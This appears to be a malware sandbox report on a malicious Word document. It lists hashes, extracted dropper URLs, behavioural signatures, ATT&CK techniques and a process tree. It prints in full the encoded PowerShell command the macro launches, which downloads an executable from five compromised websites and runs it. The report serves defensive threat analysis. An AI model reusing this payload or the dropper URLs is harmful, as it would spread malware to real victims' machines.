e545364bfe8e1e072499b805fdba2566887c176ac004783879bb66b22983c671

General

Target

e545364bfe8e1e072499b805fdba2566887c176ac004783879bb66b22983c671.doc
Size

144KB
MD5

731bcf6a87db0b1671fd9c7eae939472
SHA1

92144bc0c0cdef85940d2e5fa41a9c015c76efda
SHA256

e545364bfe8e1e072499b805fdba2566887c176ac004783879bb66b22983c671
SHA512

bce268f935565493417fc95e0503baec6fd770f78729c1dc98368b45d5741f760aa1ff6bd5f8bf8ade20947171a781b8cf6de0918a7e32961d4862d396208045

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wsme.net/cgi-bin/xH/

exe.dropper

http://justart.ma/wp-content/uploads/2019/01/Ti/

exe.dropper

http://majorpart.co.th/wp/qI/

exe.dropper

http://estudioalabi.com.ar/wp-admin/NvvP/

exe.dropper

http://marketinsight.hu/wp-includes/ly/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4632	4620	powershell.exe	57

Blocklisted process makes network request 6 IoCs

flow	pid	Process
11	4632	powershell.exe
12	4632	powershell.exe
14	4632	powershell.exe
25	4632	powershell.exe
28	4632	powershell.exe
30	4632	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1144	WINWORD.EXE
1144	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4632	powershell.exe
4632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4632	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE
1144	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e545364bfe8e1e072499b805fdba2566887c176ac004783879bb66b22983c671.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e JABKADEAQQBrAHcAMQA9ACgAJwBaAHgAQQAnACsAJwBCAEEAJwArACcAQQAnACkAOwAkAGkAXwB3AGsAWgB4AGMAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHAAQQBBADQAQQBBAEEAQQA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwADoALwAnACsAJwAvAHcAcwBtAGUALgBuAGUAdAAvAGMAZwBpAC0AYgBpACcAKwAnAG4AJwArACcALwB4AEgALwBAAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AagB1AHMAdABhAHIAJwArACcAdAAuAG0AYQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQAJwArACcALwAnACsAJwB1AHAAbABvAGEAZABzAC8AMgAnACsAJwAwADEAJwArACcAOQAvADAAMQAnACsAJwAvAFQAaQAvAEAAaAB0AHQAcAA6AC8AJwArACcALwBtAGEAagBvAHIAcABhAHIAdAAuAGMAbwAuAHQAaAAvACcAKwAnAHcAcAAvAHEASQAvAEAAJwArACcAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwBlAHMAdAB1AGQAaQBvAGEAJwArACcAbABhACcAKwAnAGIAaQAuAGMAbwBtAC4AYQByAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8ATgB2AHYAUAAvACcAKwAnAEAAaAB0ACcAKwAnAHQAcAA6AC8ALwAnACsAJwBtAGEAcgBrAGUAdABpAG4AcwBpAGcAaAB0AC4AaAB1ACcAKwAnAC8AdwBwAC0AaQAnACsAJwBuACcAKwAnAGMAbAB1AGQAZQBzAC8AbAB5AC8AJwApAC4AKAAnAFMAcAAnACsAJwBsAGkAdAAnACkALgBJAG4AdgBvAGsAZQAoACcAQAAnACkAOwAkAFEAawBBAEEAVQBBAGsAQQA9ACgAJwBUAFUAVQAnACsAJwBBAEEAJwArACcARwAnACkAOwAkAFkAVQBBAEcAUQBBAFoAUQAgAD0AIAAoACcAOAAnACsAJwAwADIAJwApADsAJAB3AEcAVQBVAFEAQQB3AGMAPQAoACcAdQAnACsAJwBDAEEAQQAnACsAJwBvAEQARAAnACkAOwAkAGIANABEAEIAXwBfAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABZAFUAQQBHAFEAQQBaAFEAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAEIARwBYAEEAVQBCACAAaQBuACAAJABwAEEAQQA0AEEAQQBBAEEAKQB7AHQAcgB5AHsAJABpAF8AdwBrAFoAeABjAC4AKAAnAEQAbwB3ACcAKwAnAG4AbABvACcAKwAnAGEAZAAnACsAJwBGAGkAbABlACcAKQAuAEkAbgB2AG8AawBlACgAJABJAEIARwBYAEEAVQBCACwAIAAkAGIANABEAEIAXwBfACkAOwAkAFoAeABYAGsAQwBYAEMAPQAoACcAQwBCADQAUQBRACcAKwAnAEMAJwArACcAUQB3ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABiADQARABCAF8AXwApAC4AIgBsAGAAZQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADAAMAAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAGIANABEAEIAXwBfADsAJAB6AEIAWgBBAEEAQQAxAEQAPQAoACcAYQBBACcAKwAnAEEAbwBBAEcAQQBBACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJABLAEIANABEAEEAQQBjAD0AKAAnAFkAJwArACcAawBBAFgAQQBCAEMAJwApADsA
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1144-143-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-130-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-132-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-133-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-137-0x000002C0D0500000-0x000002C0D0504000-memory.dmp

Filesize
16KB

Download
memory/1144-135-0x00007FFDD6330000-0x00007FFDD6340000-memory.dmp

Filesize
64KB

Download
memory/1144-131-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-136-0x00007FFDD6330000-0x00007FFDD6340000-memory.dmp

Filesize
64KB

Download
memory/1144-134-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-146-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-145-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/1144-144-0x00007FFDD84F0000-0x00007FFDD8500000-memory.dmp

Filesize
64KB

Download
memory/4632-138-0x00000253C3AB0000-0x00000253C3AD2000-memory.dmp

Filesize
136KB

Download
memory/4632-141-0x00007FFDED100000-0x00007FFDEDBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4632-140-0x00007FFDED100000-0x00007FFDEDBC1000-memory.dmp

Filesize
10.8MB

Download
memory/4632-139-0x00007FFDED100000-0x00007FFDEDBC1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads